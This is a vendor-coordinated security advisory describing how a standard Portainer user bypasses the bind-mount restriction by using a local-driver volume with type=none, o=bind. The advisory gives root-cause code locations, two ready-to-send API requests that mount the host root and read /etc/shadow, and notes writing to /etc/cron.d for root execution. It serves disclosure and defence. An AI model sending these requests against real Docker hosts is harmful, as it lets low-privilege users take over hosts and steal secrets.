Portainer: bind mount restriction bypassed through the local volume driver, standard user becomes root on the host

A standard user with access to a Docker environment creates a volume with the driver options type=none, o=bind, mounts the host filesystem into a container through it and reads and writes it as root, although bind mounts are disabled for non-administrators.

Advisory ID: TP-2026-133
Product: Portainer (management interface for Docker and Kubernetes, Go)
Vulnerability type: Incomplete denylist, bypass of the bind mount restriction (CWE-284)
CVE: not requested
CVSS 4.0: 9.4 (Critical) · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Vendor advisory: GHSA-jmr9-98g4-2phv
Affected versions: according to the vendor up to 2.39.6 (LTS) and 2.44.0 (STS); tested: 2.39.2
Fixed in: 2.39.7 and 2.45.0
Reported: 17 May 2026

Summary

Portainer manages Docker environments and forwards the Docker API for logged-in users through its own proxy. The setting "Hide bind mounts for non-administrators" is enabled by default and is meant to stop non-administrators from mounting host paths into containers. The proxy filters, however, only recognise the literal form of a bind mount. A volume of the local driver with the options type=none, o=bind, device=<host path> is the same bind mount to Docker and passes every check. A standard user with access to an environment therefore reads and writes the whole host filesystem as root. The vendor published the finding, together with further variants from other reporters, in the consolidated advisory GHSA-jmr9-98g4-2phv.

Root cause

CheckVolumeBodyRestrictions rejects only DriverOpts["type"] == "bind" on volume creation (api/http/proxy/factory/docker/volumes.go:144) and does not check the local driver form type=none, o=bind.
On container creation the filter for HostConfig.Binds rejects only entries that start with / (api/http/proxy/factory/docker/containers.go:238-244), so a named volume passes.
The filter for HostConfig.Mounts rejects only Type == "bind" (api/http/proxy/factory/docker/containers.go:246-252) and does not look at the driver options of a mount of type volume.
isAdminOrEndpointAdmin returns only whether the role is administrator (api/http/proxy/factory/docker/transport.go:938-945), so every other user goes through exactly these filters.
DefaultEndpointSecuritySettings sets AllowBindMountsForRegularUsers to false (api/portainer.go:2473-2476), so the bypassed restriction is the factory setting.

Proof of Concept

POST /api/endpoints/1/docker/volumes/create HTTP/1.1
Authorization: Bearer <token of a standard user>
Content-Type: application/json

{"Name": "vol", "Driver": "local", "DriverOpts": {"type": "none", "o": "bind", "device": "/"}}

POST /api/endpoints/1/docker/containers/create?name=c HTTP/1.1
Authorization: Bearer <token of a standard user>
Content-Type: application/json

{"Image": "alpine:latest", "Cmd": ["sh", "-c", "head -3 /host/etc/shadow && id"], "HostConfig": {"Binds": ["vol:/host"]}}

A direct bind mount ("Binds": ["/etc:/host"]) is rejected with Forbidden to use bind mounts, while the two requests above return 201 Created. Verified on 2.39.2 with a user of the role Standard User: the container printed the first lines of the host's /etc/shadow and uid=0(root), and a second container wrote a file to the host's /etc/cron.d.

Impact

  • Read and write of the whole host filesystem as root by a user without administrator rights.
  • Code execution as root on the Docker host, for example through /etc/cron.d or SSH keys.
  • Access to all containers, volumes and secrets the host manages.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.